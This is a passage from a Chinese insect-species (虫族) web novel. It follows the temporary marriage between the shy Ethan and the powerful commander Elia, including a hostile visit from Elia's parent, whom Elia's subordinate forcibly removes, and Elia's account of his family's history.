雄虫像是要钻进地缝里,可递出的银行卡却固执地没有收回。
埃里亚看着那张画风略显幼稚的银行卡,再度对面前的雄虫升起浓烈的好奇。
大部分雄虫会毫无负担的收取雌虫的礼物,而聪明的雄虫更胜一筹。他们并不拒绝雌虫的礼物,不仅不拒绝,还能将单纯的礼物转换为可持续发展的资源。
和那些聪明的雄虫一样,伊森似乎也有某种意识,但比起为自己谋福利,对方更偏向于“两不相欠”——一种完全没有收益还容易亏本的天真想法。<
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p>而且,有财产意识的雄虫大多是生于富贵之家的高等雄虫。家族的熏陶和开阔的眼界让他们能跳出社会温床,对“雄虫生来便拥有一切”的糖衣炮弹保持警惕。那生于普通家庭的伊森又是如何产生这种想法的呢?
“埃里亚?”
似乎是他久久没有动作,雄虫忍不住呼唤他的名字。蔚蓝的眼睛里带着几分疑惑,如同清澈见底的湖泊,所有情绪一览无余。
一如既往的好懂,一如既往的——
漂亮。
“抱歉,稍微发了一会儿呆。”
“发呆?埃里亚也会有开小差的时候呀!”
雄虫的声音中带着几分新奇。
“我也是普通虫,并非机器,当然不可能时时刻刻高强度运转。更何况身旁还有一位充满魅力的阁下,怎么能不开小差呢?”
“…”
“埃里亚,我错了。我不该嘲笑你的,你快别这么说了!”
“只是开个玩笑,别紧张,伊森。”
埃里亚伸手接过雄虫手中的彩色卡片,指尖轻轻划过对方的手心。他感到雄虫的手往后缩了缩,像是不太适应,但他假装没有发觉。
将银行卡郑重地放进衣兜里,他望着雄虫的眼睛,温和一笑:“我会好好保管的,所以伊森,请不要生我的气。”
生气?
不,伊森并没有因为埃里亚的玩笑感到愤怒,他只是有些羞恼。但在雌虫温柔的注视下,他只能移开眼,用喉咙发出一声低哑的回应:
“嗯。”
*
花车巡游已经结束,热度却并未散去。其中最热门的是一只叫维安的B级雄虫,巡游才刚结束就成了第三区家喻户晓的明星雄虫。
其他几只雄虫的名字虽也有提及,但对比维安的知名度逊色不少,大概——
“是科温那家伙出手了吧?真是心机啊,这段时间不声不响,居然早把名字放进抽签盒了。兰珈阁下也是太好哄了,连他出手让一只普通雄虫压在威尔逊家族雄虫头上都没生气,甚至还说出‘他是因为爱我才这样做的’这种话。虫神啊,我怎么遇不到这样可爱的雄虫呢?”
“如果你想要继续待在这里就给我安静点,卡洛斯。”
“好吧好吧。”名为卡洛斯的红发雌虫耸了耸肩,看着安静誊抄书本的朋友,露出一抹坏笑,“哎呀,我说阿列克斯,你不让我说不会是因为觉得丢脸吧?堂堂爱德里安家族的继任者,居然被一只连家族都没有的B级雄虫拒绝了,真是令虫大跌眼镜!”
“卡洛斯,不会说话就闭嘴,我不介意让你永远也说不出话。”
“我错了。”卡洛斯举起双手,十分丝滑地认怂。他收敛笑容,面色严肃起来:“但是,阿列克斯,你不想和圣殿雄虫结婚的话也不必用这种方法吧?科温快吓死了,他只是让你帮忙到现场看看他的未婚雄主,你居然干出这种事情。幸好那只雄虫没答应,要是他答应了你怎么办?”
“你也说了,他只是个连家族都没有的B级雄虫,还不好处理么?事情已经过去,别总把注意力放在不相干的虫身上。”
阿列克斯手上动作未停,面色毫无波澜。
“也对。”
卡洛斯顺口应了一声,偷偷瞄了眼好友那快要被戳穿的誊抄本,心里暗暗道:这家伙绝对是生气了吧?
不生气的话怎么会一边找虫压热度,一边打探某只雄虫的消息呢?
被这种小心眼的家伙惦记上,那位名为伊森·克里克的雄虫真是倒大霉了。不过他的好友知道分寸,应该不至于太过分的…吧?
14. 第 14 章
伊森猛地睁开眼,从床上坐起来。
身边摆放着他最喜欢的毛绒玩偶,床头柜上的钩针花束是他某次直播的成果,他最近的新宠咖色小熊拖鞋静静躺在床边,一切都那么熟悉。
但这里并不是他的家。
就在昨天,伊森和埃里亚按照雄保会的要求完成了临时婚约缔结手续。同一天,他的东西也打包完成,从自己的小屋送到了这里——埃里亚名下的房产之一。
这栋房子的装修风格和伊森家十分相似,卧室更是一比一还原,很好地消除了他的陌生感,让他在新环境中仍睡了个好觉。
“小豆子,几点了?”
伊森打着哈欠问。
【十点整呢~小森这次的睡眠时间有9.36小时哦~】
“十点了?”
困意迅速消失,伊森飞快穿好衣服,踩着毛茸茸的拖鞋冲出卧室。
站上走廊,经过两间客房,再向右转。
映入眼帘的是一张白色的简约风餐桌,红白格子桌布垂在四边,上面放着一只手工编制篮——也是伊森的直播成果——还有插着干花的花瓶。
其中一张椅子稍稍拉开,像是在邀请某虫坐上去。理所当然的,椅子面前摆放着热腾腾的饭菜,散发着诱虫的香味。
伊森轻手轻脚地走到餐桌旁,叫了一声:“埃里亚?”
他绕着餐桌走了一圈,伸长脖子朝附近的房间张望。一无所获后又抓起桌布的一角,弯腰往下看去。
【小森,小豆子觉得埃里亚不会在桌子底下。】
伊森动作一僵,将手里的桌布放下,尴尬地咳嗽一声:“我只是想看看桌子下面的构造…”
【是这样吗?小森现在对木工感兴趣了吗?小豆子记住了,之后会多推送相关信息哒~】
伊森:“…”
伊森:“嗯…谢谢。”
【小森小森,快吃东西吧!你今天没有按时吃早餐,这会儿得多补充些能量才行。】
“嗯嗯,好的。”
在AI管家的提醒下,伊森坐在了餐桌前,刚一坐下又想起刚刚被打断的事情。
他没动面前的食物,问:“小豆子,你知道埃里亚去哪里了吗?”
【今天早上8:05分就出门啦,走之前把这栋房子的权限交给了小豆子。他说要出门办些事情,大概下午三点的样子回来。他还说小森想做什么都可以!】
【根据数据库里最权威的‘雌虫话术分析大全’,埃里亚89%的意思是这栋房子送给小森了!】
【小豆子之前查过,这栋房子位于中心地段,虽然是小户型,面积不大,但价值并不低。】
【小森的‘试婚’对象很大方呢~】
伊森:“…”
伊森:“小豆子,安静。”
【小森的心跳又加快了。最近心跳加速的频率有些高,要注意身体呢。那小豆子就先行离开,有事呼叫哦~】
AI管家安静下来后,伊森长舒口气。
即便内心知道AI管家的一切行为都源自于设定,但他还是有种对方在打趣自己的错觉。最近对方提到埃里亚的频率非常高,还总说些让他不好回答的话,像是坏心眼的损友在耳边八卦他和暧昧对象的进展似的。
话说…暧昧对象?
察觉到自己的用词,伊森的脸仿佛烧起来。他捂住过热的脸颊,但在双手的按压下那里好似更烫了。
找不到降温方法,他干脆转移注意力,随手抓住勺子舀了一口面前的汤送进嘴里。
浓稠的鲜味在舌尖炸开,暖洋洋的感觉顺着食道流进胃里。身体仿佛掉进深秋的森林里,阳光穿透金黄的树叶缝隙,温度刚刚好。
伊森忍不住眯起眼睛,赞叹道:“好吃!”
喝了许久营养剂,总算吃到一顿正常的饭菜,伊森有种想要流泪的冲动。
他又舀起一大勺叫不上名字的食物送进嘴里,一边咀嚼一边点开了自己的光脑刷最新资讯。
最近的大热门是花车巡游,几乎每个平台都在讨论这次活动。但作为活动的“关键道具”,伊森并不想看见相关消息,随便刷了几下就关掉光脑。
这栋房子设备齐全,影音室、健身房、电竞房应有尽有,对死宅非常友好。
但不知怎的,伊森有点提不起劲,好似缺了什么东西。
为了打发时间,他打开投影,随便选了一部影片播放。
可能是这部电影不太符合伊森的口味,他实在看不进去,瘫在沙发上昏昏欲睡。又瞄了一眼投屏右下角的时间,他喃喃道:“才一点啊,埃里亚应该还在忙吧?我还是不打扰他了。”
大概是每天都和埃里亚通讯,某一天忽然断掉,他有点不习惯。
只有一点点而已。
他才不是时刻需要看护的小孩子,独自在家就会寂寞呢。
伊森用食指和拇指撑起上下眼皮,努力将自己的注意力放在面前的投屏上。昏暗的房间滋生出某种令虫疲惫的物质,不一会儿他的双手就无力放下,眼皮开始打架。
面前的画面仿佛闪烁起来,忽明忽暗,然后——
“我回来了,伊森。”
混沌的大脑忽然清明,伊森睁开眼,嘴角不自觉扬起。
但那抹弧度还没到达最高点就忽然停住,未能成行的笑容僵在脸上,渐渐收回,变成一声轻叹。
“原来是台词啊…”
电影里的角色也叫“伊森”,那句“我回来了”让打瞌睡的伊森产生了错觉。
他伸了个懒腰,从沙发上站了起来。
“14:46,埃里亚应该要回来了吧?”
想到这件事,伊森又忍不住勾起唇角。他在脑海里编辑着待会儿要和埃里亚说的话,想着想着又思维发散,想起他们现在的关系——新婚夫夫。
虽然知道只是暂时的,可是…他确确实实和埃里亚签订了婚姻缔结条款,在登记处登记,还住进了“婚房”里…
就好像…他真的结婚了一样…
“滴——”
开门产生的提示音打断了伊森的胡思乱想,他下意识看向面前的屏幕——主角正在荒星上和追杀者肉搏,周围没有一扇门。
那么——
伊森眼睛一亮,跑到走廊上,抓着栏杆对楼下喊道:“埃里——”
最后一个字没出口,他愣在原地:“哎?”
屋子里出现了一只陌生虫,看模样应该是亚雌。对方并不熟悉这里,进来时还被地毯绊了一下,却又确确实实是通过了正门识别进来的。
亚雌一眼就看见楼上的伊森,露出恍然大悟的表情:“就是你吗?和埃里亚缔结临时婚姻的雄虫?”
“你是…谁?”
伊森稳住心神,一边努力做出镇定的样子,一边疯狂呼唤AI管家。
“别紧张。”亚雌挥挥手,在一楼客厅的沙发上坐下,“说起来,你现在也可以叫我‘雌父’。”
雌父?
稍显陌生的词在伊森脑海里打了个转,然后撞上某个关键点。他瞪大眼睛,惊呼道:“你,你是埃里亚的…”
“没错。”亚雌扬起下巴,略带骄傲:“我是埃里亚·雷蒙德的雌父。”
*
“查出来了?”
“是的。”拜因站得笔直,恭敬道:“是伍尔夫家族。”
“果然。”埃里亚嗤笑,“怪不得菲利克斯·伍尔夫会娶泽维尔那个蠢货。伍尔夫家族难道以为仅凭一个雷蒙德的姓氏泽维尔那家伙就能上位吗?”
拜因:“…”
他很想提醒他的长官,虽然等级不高脑子又笨,但泽维尔对外形象一直维持的不错,并且雌父和同胞兄弟在军部的职位都不低,综合条件并不差。
不过
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对他的长官来说,那些都不值一提吧?
“给伍尔夫家族找点事情,让他们把小动作收起来。泽维尔那边…我记得他的雌父是丹尼斯·林顿。”
“是的。他是现任第三军团特殊作战队副队长。”
“哈,他是觉得这么多年过去了,外界就忘记他是雷蒙德家族的狗吗?还有第三军团特殊作战队…”沉吟片刻,埃里亚道:“我记得第三军团特殊作战队去年才换届,他这位置应该还没坐稳吧?连孩子都管不好,怎么能处理好工作呢?”
拜因心领神会:“艾伦·布兰切当初和丹尼斯·林顿因为特殊作战队副队长的位置斗得不可开交,三军军团长也很不满独立于军团外的特殊作战队,我想他们听见这个消息都会很高兴。”
埃里亚点点头,又道:“至于那个演员,既然这么喜欢演戏,那就成全他。”
当然,拜因知道,这可不是他的长官好心。
从今往后,那位名为莱尔的骗子大概会成为某个扒皮影视公司底下的一员,一辈子都为赎身努力了。
翻看完所有资料,埃里亚合上文件夹:“帕特里克最近如何?”
“他把不服从的虫收拾了个遍,现在第一军团基本稳定,除了特殊作战队。”
“李伦德尔做了什么?”
“三天前他和帕特里克打了一架,声称永远不会臣服于‘捡漏王’。”
第一军原本由埃里亚率领,帕特里克是他的副官,两年前他受伤后就将权利下放给了对方,并在不久前正式完成交接。
现在帕特里克才是第一军的军团长。
帕特里克的资历和军功并不足以胜任军团长的位置,能上位是多方博弈的结果,更别说还有个被称为“天才”的前军团长珠玉在前,私下里许多虫不服,称其为“捡漏王”。
不过敢明着叫出来的也没几个。
埃里亚笑了笑:“他真是一如既往的直肠子。”
“先生,要让李伦德尔安分点么?”
拜因问。
李伦德尔是少见的平民天才,战斗天赋十分恐怖,由埃里亚一手挖掘并提拔到如今的位置上,算是他半个徒弟,真真正正的嫡系。
只要埃里亚发话,对方必定听从。
毕竟帕特里克能上位埃里亚出力不少,要是因为自己虫地位不稳,那可就得不偿失了。
“不用,他知道分寸。”埃里亚摇头,“这点小事还需要我出手,我会后悔把第一军交到帕特里克手上。”
并且,那两虫互相看不顺眼对他来说反而更有利。
“不过我应该抽空见一见李伦德尔?就三个月以后吧。”
三个月?
灵光一闪,拜因想起自家长官和伊森·克里克阁下的临时婚姻将在三个月后正式生效,转为正式婚姻。
所以定这个时间和长官结婚有关系吗?
拜因不懂,但他没有问。
不过有些事情他觉得可以提醒一番:“长官,您缔结临时婚姻的消息那位应该知道了。您重伤失去意识那段时间,作为您的直系血亲,那位以监护虫的身份绑定了您不少信息。”
埃里亚受伤后打探他消息的虫太多了,一个手握“内幕消息”的血亲能帮他吸引走不少注意。左右对方没法得到关键信息,恢复意识后他便没有取消绑定。
但现在…
想起泽维尔居然跑到他的地盘作妖,埃里亚道:“每个月拨给他的零花钱减半。”
“是。”
“还有…”
话未说完,光脑响起“滴滴滴”的警报声。
有虫无视他的警告,进入了他给伊森准备的“婚房”。
埃里亚勾起唇角,眼中却没有意思温度:“拜因,看来我真是对他太宽容了。”
拜因:“…”
拜因不说话,但他知道某只虫要倒大霉了。
15. 第 15 章
“请,请喝水。”
伊森将水杯放在桌上,表情有些局促。他有心展开话题,但面对“新婚对象”的家长却怎么也开不了口。
即便在心里无数次加油打气,依旧掩饰不住面上的不安。
反观对面名为罗伊德的亚雌,那叫一个气定神闲,仿佛在自己家中一般。
“你叫伊莱,对吗?”
将面前的水杯拂开,罗伊德问。
“是伊森。”伊森纠正道:“伊森·克里克。”
“瞧我这记性。最近总是被不听话的孩子气到,连这点小事都记不清了。真的十分抱歉,您应该不会生气吧?”
虽然说着道歉的话,也用上了敬称,但罗伊德的态度实在说不上尊敬,反而像是在阴阳怪气。
可对方是埃里亚的雌父,怎么能恶意揣测好友的亲虫呢?
或许是他太敏感了吧。
伊森压下心底的不适,嗫嗫道:“没,没关系。”
“您真是位宽容的阁下。埃里亚现在这副样子能找到您这样的雄虫,也算是幸运。”
罗伊德语调夸张,带着一股刻板的味道,仿佛前世看外国电影的国配一般,浓浓的翻译腔。
伊森不讨厌翻译腔,但亚雌的话让他感到不舒服。
可他一个社恐,面对不熟悉的虫连交流都困难,更别说表达自己的情绪,最终只能继续用软绵绵的声音说:“别这样说,埃里亚很厉害的…”
“可那都是过去式。”罗伊德叹了口气,“您看看他现在的样子,和废物有什么区别?要不是因为他变成这样,我何苦到处求虫照顾他?”
仿佛打开了话匣子,亚雌继续道:“那孩子自尊心强,都成现在这样了还不肯服软,到处得罪虫。先前我给他介绍了一位十分优秀的雄虫阁下,虽然对方已经有了好些虫崽和雌侍,家族也一般,但毕竟是A级阁下呢!他现在这个样子能和A级阁下结婚还有什么不满?他居然拒绝我!害得我花了好些心思才让阁下消气!”
“哎呀,我当然不是说您不好的意思。毕竟他这种站都站不起来的残废雌虫,能给您当雌君也是天大的幸运呢!”
“那,那个…”
“哦,刚刚我们说到哪里了?对了,埃里亚脾气很差。要是您觉得不满,一定要告诉我,我会帮您教训他的。”
“没…”
“不过那孩子一向目无尊长。哎,也是我的错。要是我当初强硬一些,他就不会被那位带走,养成这副不讨喜的性子。”
伊森几度开口,都被罗伊德的喋喋不休打断。
对方仿佛是个忧心的长辈,正为叛逆期的孩子头疼不已。可埃里亚不是叛逆期的孩子,也和对方口中的恶劣形象完全不同。
伊森心里对长辈的敬重渐渐消散,心底升起烦躁的情绪。
他搅紧衣服,一口气提到胸口,大声道:“别说了!”
这次总算让罗伊德停了下来。
亚雌捂住嘴,惊讶道:“哎呀,您这是怎么了?”
“埃里亚…”伊森嘴角下压,做出严肃的样子,“埃里亚才不是你说的那样。他,他很温柔,也很厉害,而且…”
而且也不是残废。
他还记得那只雌虫抱着自己的暴雨中疾驰的样子,宽厚的胸膛仿佛能遮挡外界的全部风雨。
埃里亚只是暂时需要休息而已。
可惜太过紧张,“而且”了半天他都没能将剩下的话顺利说出口。
“哎呀,您一定是被他的外表骗了。”罗伊德摆摆手,仿佛看穿一切,“毕竟他可是那位带大的,雷蒙德家族的雌虫都很擅长伪装。”
“才,才不是!”
伊森下意识说。
他急于开口,可越急越无法组织语言,除了几个简单的字眼说不出完整的句子。
罗伊德眉头微蹙,随后露出了然的神色:“您是有什么…怪不得您会愿意和埃里亚结婚呢。”
他轻笑一声,一脸赞同地说:“您这样子,看上去和他倒也算般配。”
虽然听起来像祝福,但明显不是好话。
“才不是!”
伊森想要反驳,像电视里的辩论选手那样用犀利的用词将对手打的节节败退,但他的语言系统实在匮乏,似乎只剩下这三个字。
他吸了吸鼻子,憋着一口气重复道:“才不是!”
“埃里亚他…他…”
“才…才不是你说的那样…埃里亚,埃里亚他…埃里亚…”
看着雄虫语无伦次的样子,罗伊德难得耐下性子,好整以暇地等待对方讲话。
可他的好意没用,雄虫不仅没能说出完整的句子,反而更加紧张。脸上的红晕扩撒到脖子,连眼尾都染上红晕,散发出阵阵水汽。
虽然等级不高,但模样确实不错,埃里亚还是会享受的。
罗伊德漫不经心地想。
最终还是对雄虫的“爱护”占了上风,他张了张嘴,有心安慰:“您…”
刚发出一个音节,雄虫的低语似乎变了调子。
“埃里亚!”
坐在沙发上的雄虫仿佛找到了主心骨,一个弹射朝着门口冲过去。
同一时间,罗伊德背脊发凉,冒出密密麻麻的细汗。
他在怕什么?他可是埃里亚的亲生雌父!
给自己做好心理建设,他僵硬地转头。
玄关处,黑发紫眸的雌虫坐在轮椅上,明明是毫无威胁的形象,却无端让虫头皮发麻,发出危险预警。
“埃里亚…”
罗伊德汗毛倒立,脸上的面具仿若裂开,露出内里的苍白。面对亲生孩子,他像是见到天敌的老鼠,刻意营造出的长辈威严在这一刻变得稀碎。
没理会神情僵硬的亚雌,埃里亚自然扶住朝自己冲来的雄虫,短暂的肢体接触后又放开,以保护者的姿态将其护在身侧。
“抱歉,伊森,稍微耽误了点时间,回来晚了一些。”
溢满的情绪堵住了伊森的嘴,让他除了摇头没法发出完整的音节,只能像小兽一般的呜咽。
如同受欺负的孩子终于找到可以为自己撑腰的保护伞,开始放肆发泄委屈。
他弯腰抱住面前的雌虫,主动消除了他们之间的距离。
埃里亚眼神一暗,缓缓回抱住受惊的雄虫。
“别害怕,伊森,我在这里。”
他压低嗓子,状似不经意的从雄虫耳边擦过,带着某种暧昧。
但雄虫毫无所觉,将自己埋进他的衣服里,仿佛那里是最安全的港湾。
他是最安全的港湾。
埃里亚骤然升起一股巨大的愉悦感,连看不远处的电灯泡都顺眼许多。
他拍打着雄虫的后背,朝假装不存在的某只亚雌丢去一个轻飘飘的眼神。
——滚。
罗伊德从那双盛满傲慢的紫眸中读出了这个字。
但此刻的他没有一丝一毫被孩子顶撞的愤怒,只有劫后余生的喜悦。
他甚至来不及仔细思考目前的状况就狼狈离席,和来时的趾高气昂形成鲜明对比。
等走出那栋充满雌虫威压的房子,罗伊德才松了口气。
“啧,果然我和那孩子犯冲。不愧是赫利克斯·雷蒙德养大的孩子,和他一个死样。都成这样了还不知道放低点姿态,难道他真以为雷蒙德家族还会继续听他指挥吗?”
嘀咕几声,亚雌开始整理衣服,以此来缓解被赶出房子时的惊慌。反复按压袖口好几次,他的心跳才逐渐平复。
“哼,以后我可再也不管他了!”
扬起下巴,罗伊德大步离开,就像是自己抛弃了不听话的孩子,而不是被对方赶了出来一样。
走了两步,他发觉自己的位置并未发生变化。
——有虫拽住了他的衣领。
“等等!谁!”
那股力道忽然变大,罗伊德的双脚离开地面,在空中乱蹬。
“你…”他别扭地侧过头,余光瞥见身后的雌虫,气焰一下子嚣张起来:“拜因!难道埃里亚现在这废物模样连你这位‘忠心耿耿’的下属都看不惯,准备背叛他吗?呕——”
“容我解释一句。”拜因将拳头从亚雌肚子上挪开,道:“这是先生的命令。”
“你…咳咳…我可是…是他的…雌父!”
罗伊德艰难出声。
“是的。”拜因点头,在对方再度出声前重复道:“但这是先生的命令。”
“怎么可能?我是他的雌父!”
这两年无论埃里亚多么生气,最后也只是些不痛不痒的警告,罗伊德并不觉得对方会因为一点小事真的对他做什么。
他依旧维持着高傲的姿态,叫嚣着要让拜因好看。可那只雌虫对他的狠话充耳不闻,拎着他朝停在路边的悬浮车走去,动作没有一丝一毫的犹豫。
罗伊德曾见过那辆悬浮车,同样知道——上了那辆车后的虫都消失了。
像是明白了什么,亚雌的脸变得灰白,浑身都颤抖
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起来。他哆嗦着嘴唇,眼底的绝望像是洪水般涌出来,嘴里却依旧叫嚷着破碎的音节:“我…我是…埃里亚…我是他的雌父!我…我生了他…我是为他好…明明我们才该是同盟!他不能…他…他不能…”
仿佛设定好程序的机器,拜因将毫无反抗之力的亚雌塞进悬浮车,道:“放心吧,先生已经为您安排好了养老的地方,以后就请您好好待在那里吧。”
“砰!”
车门关闭的声音隔绝了亚雌的呼救,仿佛他从未存在过。
*
“埃里亚,我没事了。”
回过神来的伊森松开埃里亚的衣服,小幅度地挪动,想要将从雌虫身上站起来。
可惜圈在他腰上的手并未放开,往日里善解虫意的雌虫仿佛没能理解他的意思,丝毫没有松开他的意思。
难道是声音太小了?
这个姿势貌似有些暧昧,是不是应该提醒一下?
可是…刻意提醒的话总感觉怪怪的。
“伊森。”
雌虫低沉的声音打断了伊森的胡思乱想,他像是被惊醒一般,欲盖弥彰道:“那个…那个…我没有乱想!”
“对不起。”
两道声音叠合在一起,伊森傻乎乎看着面前的雌虫,好半晌才发出一个破碎音节:“啊?”
“伊森,对不起。”
他听见雌虫这样重复。
虽然这场对话展开的有些意外,但伊森立刻就理解到埃里亚的意思。刚才还在纠结的姿势问题被他抛到九霄云外,他一把拉住埃里亚的手,快速道:“为什么要道歉呢?才不是你的错!”
他想说错得是莫名其妙的亚雌,但想到亚雌是面前雌虫血缘上的雌父,即将脱口的话又被咽了回去。
虽然埃里亚和雌父的关系看上很差劲,但当着对方的面吐槽似乎也不太好。
“谢谢你,伊森。”
埃里亚低下头,视线落在两虫交握的手上。
像是触电一般,伊森飞快将手缩回来。等双手握着拳头,如同小仓鼠一般放在胸前时,他才反应过来自己的行为有些失礼。
解释!快解释!
“埃里亚,我…我不是故意的。”他又伸出手握住埃里亚,视线偏移,“那个…我就是…有点害羞,不是故意甩开你的…”
“伊森和我在一起也会害羞吗?我以为我们已经足够熟悉。”
“这和熟不熟悉没关系,是因为…因为…”
“那我可不可以理解为,我拥有让伊森·克里克阁下感到害羞的魅力呢?”
“啊…”
伊森已经丧失了思考能力,他觉得这个话题不太对劲。可埃里亚应该是在和他开玩笑,不回答的话会让对方尴尬吧?
他抿了抿唇,努力将杂念清扫出大脑,站在“朋友”的角度观察面前的雌虫,而后认真道:“是的,埃里亚是我见过的,最最最有魅力的虫!”
“真的吗?”
雌虫微微侧头,向来沉静的眼眸仿佛被火焰点亮,那抹带着神秘与沉稳的紫色多了些鲜活明快,好似旋涡一般要将周围的一切吸进去。
他轻笑一声,而后用低沉又缓慢的声音道:“伊森也是我见过的,最有魅力的雄虫。”
伊森:“!”
这,这种话应该怎么回?
好在埃里亚没有继续话题的意思,道:“距离晚餐还有1小时左右,休息一会儿吧,伊森。”
结束了吗?
伊森本该松口气,但看着雌虫准备离开的动作,忽然想起对方低头时的模样。
那种带着些许脆弱的样子,和平时的埃里亚不太一样。
埃里亚很强大,对方应该不需要他的安慰,他也没有安慰对方的能力。可作为朋友,他应该做点什么。
“那个,埃里亚。”伊森叫住控制着轮椅滑出几步的雌虫,勾了勾衣摆,小声道:“如果有不开心的事情,可以和我讲讲。一只虫会有百分百的不开心,但把不开心分出去,每只虫就只剩一半的不开心了。”
“伊森。”埃里亚扭头,目光锁定在他的身上,“我是不是可以理解为,你想要了解我?”
他是这个意思吗?
伊森有点迷惑,不过这么说也没错。毕竟是这个世界中交到的第一个朋友,他确实想更了解对方。
他点了点头:“是的。”
“那——”雌虫眯起眼,唇角缓缓扯开,露出一个似笑非笑的奇怪表情,“听听我的故事吧,伊森。”
16. 第 16 章
雷蒙德,这个家族在茵斯塞特帝国无虫不知无虫不晓。作为雷蒙德家族的现任家主,埃里亚·雷蒙德这个名字更是如雷贯耳。
若伊森是茵斯塞特帝国土著的话,在第一次听到埃里亚全名的时候一定会有所反应,可惜他不是。
在他一点点填充新世界的知识时,传闻中的存在已经变成身边熟悉的朋友,即便理解了这个名字的特殊之处也无法和传闻中的存在画上等号。
他恍惚一阵,但下一秒,又觉得理所当然。
“毕竟埃里亚无所不能!”
“伊森,我很高兴。即便见到的是现在的我,你依旧认为我无所不能。”
伊森不太懂埃里亚的意思,对方也没有解释,而是开始讲故事。
雌虫十分擅长讲故事,无论是用词还是节奏都把握的恰到好处,配上不疾不徐的语调,成功让他忘记一切,沉浸在故事里。
关于埃里亚·雷蒙德的故事。
要讲埃里亚·雷蒙德的故事,那就不得不先说一说雷蒙德家族。
雷蒙德家族是绵延数千年的老牌家族,最鼎盛时长期和圣殿联姻,族内诞生了许多继承了优秀基因的后代。
但盛极必衰。一百多年前,雷蒙德家族遭到一场毁灭性的打击,族内精锐近乎全灭,直系血脉只剩下一只半截身子入土的老年雌虫,以及家主年仅十岁的双生子虫崽。
一个蕴藏巨大财富,却没有足够力量保护自己的家族,似乎谁都能啃一口。但瘦死的骆驼比马大,谁都没有信心一口吞下一个巨型家族,所以谁都不敢当第一个扑向猎物的螳螂,深怕被隐藏在暗处的黄雀捡了便宜。
雷蒙德家族的直系血脉在诡异的平衡中得以苟延残喘。
当然,这是原因之一。
原因之二,则是故去的家主留下的那双虫崽。
名为赫利克斯·雷蒙德的雌虫崽和名为艾尔维斯·雷蒙德的雄虫崽,被称为“奇迹”的双生子。
虫族是个好斗的种族,强大的身体素质让他们在斗争中无往不利,短时间内迅速扩张,成为宇宙霸主。他们几乎没有天敌,最大的掣肘来源于自身。
雌虫一出生就携带基因病,突破临界值就会“堕化”,沦落为破坏力极强又毫无理智的怪物,唯一的救命良药是雄虫给予的安抚。
但相比强悍的雌虫,雄虫无论是身体素质还是精神素质都很弱,如同温室里的花朵,一不小心就会枯萎。
不仅难以存活,出生率还低得可怜。
极限状态下,一只身体健康的雌虫一辈子能诞下上百只幼崽,但这上百只幼崽可能一只雄性都没有。
对于虫族来讲,雄虫是珍贵的,没有家庭不期待雄虫幼崽。但同样的,也没有家庭期待第一只幼崽就是雄虫。
生育过雄虫幼崽之后的雌虫基本上没有再度受孕的可能,即便他的身体没有任何问题。
就像是一个魔咒。
但雷蒙德家族的家主却是世间少有的幸运儿,不仅在头胎就是雄虫幼崽的情况下同样拥有了雌虫幼崽,两只幼崽还都天赋异禀。
尤其是雄虫幼崽艾尔维斯·雷蒙德,一出生就有A+等级,是圣殿钦定的S级预备役,一直受到多方关注。
准S级的雄虫基因让觊觎者们愿意采取更温和的手段吞并雷蒙德家族——比如婚姻。
中间经历了什么只有当事者知道,但在最后,那些和艾尔维斯·雷蒙德订立婚约的家族佼佼者们都成了弃子,生下的幼崽都被冠以雷蒙德的姓氏。
“雷蒙德是雄虫的姓氏吗?”
伊森有些惊讶。
近一年的时光让他对这个世界的规则也有了一定了解。通常来讲,虫崽们都随雌父姓氏,如同他的前世,孩子们大多从父姓。
掩藏在命名规则背后的本质其实是一致的——权势与地位。
一两只幼崽跟从雄虫姓氏可以看做是交易或是情趣,但所有的幼崽全部随雄虫的姓氏,则意味着雌虫完全失权,连自身也变成雄虫的附庸,不再具备延续家族与姓氏的权力。
这是大部分雌虫,尤其是拥有强大天赋和家族的雌虫无法接受的。
但结果就是这样,那些妄图吞掉雷蒙德家族的觊觎者们反被雷蒙德家族吞噬,家中最优秀的后辈乃至整个家族都变成雷蒙德的附庸。
“埃里亚的雄父真厉害。”
“谢谢夸奖,但其实我并不知道雄父到底是只怎样的虫。”
在伊森疑惑的目光中,埃里亚继续道:“我出生的时候,我的雄父已经去世十年了。”
伊森:“!”
伊森:“遗…遗腹子?”
不过虫族的遗腹子居然能怀十年吗?
看着雄虫惊讶的神情,埃里亚忍俊不禁:“当然不是,稍微用了一点科技手段。”
“科技手段?”
一瞬间,伊森脑海里闪过“偷·精”这个词,整只虫紧张起来:“做这种事情,雌君不会生气吗?”
虽然大部分雄虫会拥有多位伴侣,但一般雌君会是最强势的那位,话语权也最大。他在星网上看见过许多雌君教训雌侍的例子。
做出这种事情会被雌君手撕的吧?
“不会。”埃里亚神色平静:“我的雄父没有雌君。”
伊森:“哎?”
艾尔维斯·雷蒙德有过许多雌虫,或是曾经的手下败将,或是其他虫送给雷蒙德家族的“小礼物”,但他始终没有雌君。
埃里亚的亲生雌父——虽然看不出来,但其实拥有A级资质——就是某个家族讨好雷蒙德兄弟献上的“礼物”。
艾尔维斯·雷蒙德在世时,他如同透明虫;艾尔维斯·雷蒙德去世后,他更是战战兢兢。
大约在艾尔维斯·雷蒙德去世后第十年的样子,当时的家主赫利克斯·雷蒙德不知发了什么疯,给大批雌虫植入了艾尔维斯·雷蒙德留下的种子。
“和我同批出生的兄弟有五十三个,加上雄父之前的孩子,除开两只雄虫和夭折的几位,剩下六十二只虫共同竞争雷蒙德家主的位置。”
“最后是我赢了。”
没有过程,只有结果。
埃里亚的语气并不冷硬,但当对方轻飘飘说出这句话的时候,伊森仍旧从中感到一阵肃杀之气。
这一刻,他才真正意识到,坐在身边为自己讲故事的雌虫是一个传奇。
“埃里亚…好厉害呀。”
看着眼前的雌虫,伊森的星星眼止不住的往外冒。
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和六十多个兄弟竞争,其中还有许多比自己掌握更多资源的兄长,能杀出重围真是太了不起了!
如果是自己处在那个位置,怕是都活不到成年吧?
“埃里亚真厉害!”
伊森忍不住再度重复。
“你这么夸会让我害羞的。”埃里亚调笑一句,继续道:“我十四岁进入军部,十五岁加入第一军特殊作战队,十九岁成为队长,同年被宣布为雷蒙德家族的继任者。后续一路上升,二十四岁正式继承雷蒙德家族,同年成为第一军军团长。”
他停了下来,没再说后面的事情。
但伊森没有意识到对方刻意隐藏的后半段,非常给面子的鼓起掌来:“哇!埃里亚真厉害!”
他拍得非常用劲,掌心红彤彤的。
看着雄虫一脸崇拜的模样,埃里亚有些无奈。活了三十年,他第一次在雄虫面前“开屏”,可惜对方并没有理解到他的意思。
他叹了口气,直白地说:“伊森,我是在炫耀。”
“炫耀?”伊森愣了一下,摇头道:“不是炫耀!是事实!埃里亚本来就很厉害!世界第一棒!”
他说得十分认真,从眼神到头发丝都在佐证,像是下一秒就要指天发誓,大叫道——
